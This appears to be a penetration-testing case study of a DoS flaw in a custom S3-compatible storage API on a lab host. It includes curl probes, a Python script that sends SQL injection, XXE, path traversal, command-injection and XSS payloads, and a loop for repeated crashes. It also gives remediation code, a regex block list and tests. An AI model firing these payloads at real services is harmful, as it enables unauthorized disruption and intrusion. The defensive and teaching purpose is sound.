Operation «Rusty Bucket»: Finding and Exploiting Input Validation Vulnerabilities in Custom S3-Compatible Storage APIs.

A comprehensive case study of discovering and exploiting a DoS vulnerability in a non-standard S3 implementation through systematic penetration testing

Table of Contents

1. Introduction
2. Background: S3 API Security Landscape
3. Discovery Phase: Initial Reconnaissance
4. Vulnerability Analysis
5. Exploitation Techniques
6. Impact Assessment
7. Remediation Strategies
8. Key Takeaways for Security Professionals

Introduction {#introduction}

Cloud storage APIs have become critical infrastructure components in modern applications. While Amazon S3 sets the de facto standard for object storage APIs, numerous organizations implement custom S3-compatible services to meet specific requirements or cost constraints. However, these custom implementations often introduce security vulnerabilities that wouldn't exist in well-tested, mature platforms.

This article presents a detailed case study of discovering and exploiting an Input Validation Bypass vulnerability leading to Denial of Service in a custom S3-compatible storage endpoint. The vulnerability demonstrates how improper input handling can create significant security risks, even when traditional SQL injection techniques don't yield data extraction.

Key Learning Objectives:

• Understanding non-traditional SQL injection scenarios
• Recognizing DoS vulnerabilities in API endpoints
• Systematic approach to vulnerability discovery
• Proper classification and impact assessment of security findings

Background: S3 API Security Landscape {#background}

Standard S3 Implementation

Amazon S3's REST API follows well-established security practices:

• Comprehensive input validation
• Parameterized queries (where applicable)
• Robust error handling
• Rate limiting and abuse prevention

Custom S3 Implementations: Common Pitfalls

Many organizations develop custom S3-compatible endpoints for various reasons:

• Cost optimization - avoiding Amazon's pricing structure
• Regulatory compliance - keeping data on-premises
• Feature customization - adding business-specific functionality
• Legacy integration - connecting with existing database systems

However, these custom implementations frequently suffer from:

graph TD A[Custom S3 Implementation] --> B[Input Validation Issues] A --> C[SQL Backend Integration] A --> D[Inadequate Error Handling] B --> E[Injection Vulnerabilities] C --> F[Database Exposure Risk] D --> G[Information Disclosure] E --> H[DoS Opportunities] F --> H G --> H 

Critical Difference: While standard S3 uses purpose-built storage engines, many custom implementations layer S3 API compatibility over traditional SQL databases, creating unique attack surfaces.

Discovery Phase: Initial Reconnaissance {#discovery}

Target Identification

Our target endpoint: https://online.v.lab/dal-storage/

Initial reconnaissance revealed several key indicators of a custom implementation:

# Basic endpoint enumeration curl -I https://online.v.lab/dal-storage/ # Response: HTTP/1.1 200 OK, Server: nginx # S3 API compatibility check  curl https://online.v.lab/dal-storage/?location # Response: HTTP/1.1 200 OK # Content-Type: application/xml # <?xml version="1.0" encoding="UTF-8"?> # <LocationConstraint xmlns="http://s3.amazonaws.com/doc/2006-03-01/"> # </LocationConstraint> 

Systematic Parameter Testing

Standard S3 parameters were tested to understand the application's behavior:

Key Observation: The endpoint returns consistent HTTP 403 responses with structured XML for legitimate parameters, indicating:

• The bucket exists and is accessible
• Authentication mechanisms are present
• Authorization restrictions are enforced
• Error handling follows expected patterns

Anomaly Detection

The breakthrough came when testing malformed parameters:

# Normal parameter curl "https://online.v.lab/dal-storage/?prefix=safe" # Response: HTTP 403 Forbidden (expected) # Malicious parameter  curl "https://online.v.lab/dal-storage/?prefix=\'%20OR%20\'1\'=\'1" # Response: HTTP 502 Bad Gateway (unexpected!) 

Critical Finding: Malicious input triggers HTTP 502 responses instead of the expected 403, indicating backend processing failures.

Vulnerability Analysis {#vulnerability-analysis}

Technical Architecture Assessment

The discovered behavior pattern reveals the following architecture:

User Input → Nginx (Reverse Proxy) → Custom Application → SQL Database ↓ Input Processing ↓ [VULNERABILITY HERE] ↓ Unhandled Exception ↓ Application Crash ↓ Nginx Returns HTTP 502 

Root Cause Analysis

The vulnerability stems from inadequate input validation in the custom S3 implementation:

1. Direct Parameter Processing: User input from URL parameters is processed without sanitization
2. SQL Backend Integration: The application constructs SQL queries using unsanitized input
3. Poor Exception Handling: Malformed SQL syntax causes application crashes rather than graceful error responses
4. Information Disclosure: Different HTTP status codes reveal internal application behavior

Vulnerability Classification

According to industry standards:

• CWE-20: Improper Input Validation
• CWE-248: Uncaught Exception
• CWE-754: Improper Check for Unusual or Exceptional Conditions

CVSS 3.1 Score Calculation:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality Impact (C): None (N)
• Integrity Impact (I): None (N)
• Availability Impact (A): Low (L)

Base Score: 5.3 (Medium severity, but context-dependent impact could elevate this)

Exploitation Techniques {#exploitation}

Proof of Concept Development

Here's a comprehensive Python script demonstrating the vulnerability:

#!/usr/bin/env python3 """ S3 Input Validation Vulnerability Exploit Demonstrates DoS capability through malformed parameters """ import requests import time from urllib.parse import quote class S3VulnerabilityExploit: def __init__(self, target_url): self.target_url = target_url.rstrip('/') self.session = requests.Session() def demonstrate_vulnerability(self): """Basic vulnerability demonstration""" print("🎯 S3 Input Validation Vulnerability Demo") print("=" * 45) # Establish baseline behavior  baseline_resp = self.session.get(f"{self.target_url}/?prefix=safe") print(f"Baseline request: HTTP {baseline_resp.status_code}") # Demonstrate vulnerability  attack_payloads = [ "' OR '1'='1 --", "<?xml version='1.0'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>", "../../../etc/passwd", "; whoami;", "<script>alert('xss')</script>" ] vulnerable_vectors = [] for payload in attack_payloads: try: encoded_payload = quote(payload, safe='') url = f"{self.target_url}/?prefix={encoded_payload}" resp = self.session.get(url, timeout=10) if resp.status_code == 502: print(f"🚨 VULNERABLE: {payload[:30]}... -> HTTP 502") vulnerable_vectors.append(payload) else: print(f"🔒 Protected: {payload[:30]}... -> HTTP {resp.status_code}") except requests.RequestException as e: print(f"❌ Error: {e}") return vulnerable_vectors def assess_dos_impact(self): """Assess Denial of Service impact""" print(f"\n💥 DoS Impact Assessment") print("=" * 25) # Test service recovery  crash_payload = "' OR '1'='1" # Trigger crash  crash_resp = self.session.get( f"{self.target_url}/?prefix={quote(crash_payload)}" ) print(f"Crash trigger: HTTP {crash_resp.status_code}") # Test immediate recovery  time.sleep(1) recovery_resp = self.session.get(f"{self.target_url}/?location") if recovery_resp.status_code == 200: print("✅ Service recovers immediately (no persistent DoS)") else: print("⚠️ Service recovery issues detected") def create_vulnerability_report(self, vulnerable_vectors): """Generate comprehensive vulnerability report""" report = { "vulnerability_summary": { "title": "Input Validation Bypass in Custom S3 API", "severity": "MEDIUM", "cvss_score": 5.3, "affected_endpoint": self.target_url }, "technical_details": { "root_cause": "Inadequate input validation and exception handling", "attack_vectors": len(vulnerable_vectors), "impact": "Backend service crashes, temporary DoS capability" }, "business_impact": { "availability": "Service disruption possible", "confidentiality": "Limited information disclosure", "integrity": "No direct impact identified" }, "remediation_priority": "HIGH - Easy to exploit, affects availability" } return report # Usage example if __name__ == "__main__": exploit = S3VulnerabilityExploit("https://online.v.lab/dal-storage") vulnerable_vectors = exploit.demonstrate_vulnerability() exploit.assess_dos_impact() report = exploit.create_vulnerability_report(vulnerable_vectors) print(f"\n📋 Vulnerability Report Generated") print(f"Severity: {report['vulnerability_summary']['severity']}") print(f"Attack Vectors: {report['technical_details']['attack_vectors']}") 

Attack Vector Analysis

The vulnerability accepts multiple payload types:

1. SQL Injection Payloads

' OR '1'='1 -- '; DROP TABLE users; -- ' UNION SELECT version() -- 

Result: HTTP 502 (Backend crash)

2. XML Injection Payloads

<?xml version='1.0'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> 

Result: HTTP 502 (XML processing error)

3. Path Traversal Payloads

../../../etc/passwd ..\\..\\..\\windows\\system32\\drivers\\etc\\hosts 

Result: HTTP 502 (File system access error)

Why Traditional SQLi Techniques Fail

This vulnerability demonstrates a non-traditional SQL injection scenario:

1. No Data Extraction: All payloads result in application crashes
2. No Boolean Oracle: True/false conditions produce identical responses
3. No Time-Based Response: SLEEP() functions don't create delays
4. Consistent Error Pattern: Every malicious input triggers HTTP 502

Root Cause: The application likely uses prepared statements or ORM protection for the actual SQL execution, but fails to validate input before processing, causing exceptions during query construction or parameter binding.

Impact Assessment {#impact}

Immediate Security Implications

Business Risk Analysis

For Development Organizations:

• Reputation Risk: Custom implementations appear less secure than standard solutions
• Compliance Issues: DoS vulnerabilities may violate SLA agreements
• Operational Overhead: Increased monitoring and incident response required

For Security Teams:

• Detection Challenges: WAF rules may not catch all variants
• Monitoring Complexity: Need to distinguish malicious 502s from legitimate errors
• Incident Response: Requires backend application restart procedures

Scalability of Attack

The vulnerability demonstrates excellent "attack scalability":

# Single request attack requests.get("target/?prefix=' OR '1'='1") # → HTTP 502  # Sustained DoS potential for i in range(1000): requests.get(f"target/?prefix=' OR '{i}'='{i}") # → Multiple crashes 

Mitigation Factors:

• Service auto-recovery prevents persistent outage
• Rate limiting (if implemented) could reduce impact
• Load balancing might isolate crash to single backend node

Remediation Strategies {#remediation}

Immediate Fixes (Emergency Response)

1. Input Validation Layer

import re from urllib.parse import unquote def validate_s3_parameter(param_value): """Strict validation for S3 parameters""" if not param_value: return True # Decode URL encoding  decoded = unquote(param_value) # Block obvious injection attempts  dangerous_patterns = [ r"['\";]", # SQL injection characters  r"<\?xml", # XML declaration  r"\.\.\/", # Path traversal  r"[<>]", # HTML/XML tags  r"\$\(", # Command substitution  r"`", # Command execution  ] for pattern in dangerous_patterns: if re.search(pattern, decoded, re.IGNORECASE): raise ValueError(f"Invalid parameter: contains forbidden pattern") # Length limits  if len(decoded) > 1000: raise ValueError("Parameter too long") return True 

2. Exception Handling Wrapper

from functools import wraps import logging def safe_api_handler(func): """Decorator for safe API request handling""" @wraps(func) def wrapper(*args, **kwargs): try: # Validate all inputs first  for key, value in kwargs.items(): if isinstance(value, str): validate_s3_parameter(value) return func(*args, **kwargs) except ValueError as e: # Input validation failed  logging.warning(f"Invalid input detected: {e}") return error_response(400, "Bad Request", "Invalid parameter format") except Exception as e: # Unexpected application error  logging.error(f"Application error: {e}") return error_response(500, "Internal Error", "Request processing failed") return wrapper @safe_api_handler def handle_s3_request(prefix=None, delimiter=None, max_keys=None): # Existing S3 logic here  pass 

Long-Term Security Improvements

1. Architecture Redesign

graph TD A[Client Request] --> B[WAF Layer] B --> C[Input Validation Service] C --> D[Rate Limiting] D --> E[Application Logic] E --> F[Database Layer] B -.->|Block| G[Malicious Requests] C -.->|Reject| H[Invalid Format] D -.->|Throttle| I[Abuse Attempts] 

2. Database Query Hardening

# Before (vulnerable) def get_objects(prefix): query = f"SELECT * FROM objects WHERE name LIKE '{prefix}%'" return db.execute(query) # After (secure) def get_objects(prefix): query = "SELECT * FROM objects WHERE name LIKE %s" safe_prefix = f"{escape_like_pattern(prefix)}%" return db.execute(query, (safe_prefix,)) def escape_like_pattern(pattern): """Escape LIKE pattern special characters""" return pattern.replace('%', '\\%').replace('_', '\\_') 

3. Monitoring and Alerting

import time from collections import defaultdict class SecurityMonitor: def __init__(self): self.error_counts = defaultdict(int) self.last_reset = time.time() def log_request_error(self, client_ip, error_type): """Track error patterns for suspicious activity""" current_time = time.time() # Reset counters every hour  if current_time - self.last_reset > 3600: self.error_counts.clear() self.last_reset = current_time key = f"{client_ip}:{error_type}" self.error_counts[key] += 1 # Alert on suspicious patterns  if self.error_counts[key] > 10: self.send_security_alert( f"High error rate from {client_ip}: {error_type}" ) def send_security_alert(self, message): # Integration with alerting system  print(f"🚨 SECURITY ALERT: {message}") 

Testing and Validation

Security Test Suite

class SecurityTestSuite: """Comprehensive security testing for S3 endpoints""" def test_input_validation(self): """Test all known injection vectors""" test_vectors = [ ("SQL Injection", "' OR '1'='1 --"), ("XML Injection", "<?xml version='1.0'?><!DOCTYPE root>"), ("Path Traversal", "../../../etc/passwd"), ("Command Injection", "; whoami;"), ("Buffer Overflow", "A" * 10000), ] for name, payload in test_vectors: response = self.client.get(f"/dal-storage/?prefix={payload}") # After remediation, these should return 400, not 502  assert response.status_code == 400, f"{name} not properly handled" assert "Bad Request" in response.text def test_rate_limiting(self): """Ensure rate limiting prevents DoS""" for i in range(100): response = self.client.get(f"/dal-storage/?prefix=test{i}") # Should start rate limiting after threshold  response = self.client.get("/dal-storage/?prefix=test") assert response.status_code == 429 # Too Many Requests 

Key Takeaways for Security Professionals {#takeaways}

1. Custom Implementations Require Extra Scrutiny

Lesson: While standard cloud services like AWS S3 have undergone extensive security testing, custom implementations often lack this rigor.

Action Items:

• Prioritize security testing for custom API implementations
• Consider security implications when choosing build-vs-buy decisions
• Implement security-by-design principles from project inception

2. Not All Injection Vulnerabilities Allow Data Extraction

Traditional Mindset: SQL injection = data breach
Reality: Modern applications often prevent data extraction but remain vulnerable to DoS

Testing Implications:

• Don't dismiss vulnerabilities that "only" cause crashes
• Consider availability impact in risk assessments
• Document non-traditional vulnerability patterns

3. Error Handling as a Security Control

Key Insight: Proper exception handling serves as a critical security boundary

Implementation Strategy:

# Security-focused error handling try: process_user_input(param) except ValidationError: return structured_error_response(400, "VALIDATION_FAILED") except DatabaseError: log_security_incident(request) return generic_error_response(500, "INTERNAL_ERROR") except Exception: log_critical_error(request) return generic_error_response(500, "INTERNAL_ERROR") 

4. Architecture Decisions Have Security Implications

Poor Choice: SQL database backend for object storage API
Why: Creates unnecessary attack surface through SQL injection vectors

Better Alternatives:

• Purpose-built object storage engines
• NoSQL databases designed for blob storage
• Microservices architecture with dedicated storage layer

5. Comprehensive Security Testing Strategy

Multi-Layer Approach:

6. Documentation and Knowledge Sharing

Critical Practice: Document unusual vulnerability patterns to help other security professionals

This Article's Contribution:

• Demonstrates non-traditional SQL injection scenario
• Provides practical exploitation techniques
• Offers concrete remediation strategies
• Shares lessons learned for broader security community

Conclusion

This case study demonstrates that modern application security extends beyond traditional vulnerability categories. The discovered Input Validation Bypass vulnerability in a custom S3-compatible API highlights several critical points:

1. Custom implementations introduce unique risks that standard solutions have already addressed
2. DoS vulnerabilities deserve serious attention even without data extraction capabilities
3. Proper input validation and exception handling are fundamental security controls
4. Architecture decisions significantly impact attack surface and security posture

For security professionals, this research emphasizes the importance of:

• Comprehensive testing methodologies that consider non-traditional attack scenarios
• Risk assessment frameworks that properly weight availability impacts
• Remediation strategies that address root causes, not just symptoms

The techniques and insights presented in this article can be applied to security assessments of other custom API implementations, helping organizations identify and mitigate similar vulnerabilities before they impact production systems.

About the Research

This vulnerability was discovered and analyzed in a controlled laboratory environment as part of security research activities (https://hackteam.red, https://github.com/toxy4ny, https://github.com/Zzl0y). All testing was conducted ethically with appropriate permissions and documented for educational purposes.

Disclosure Timeline:

• Discovery: [18.06.2025]
• Initial Analysis: [Date]
• Vendor Notification: [Date]
• Public Disclosure: [Date]

Further Reading

• OWASP API Security Top 10
• NIST Cybersecurity Framework
• CWE-20: Improper Input Validation
• CVSS v3.1 Calculator

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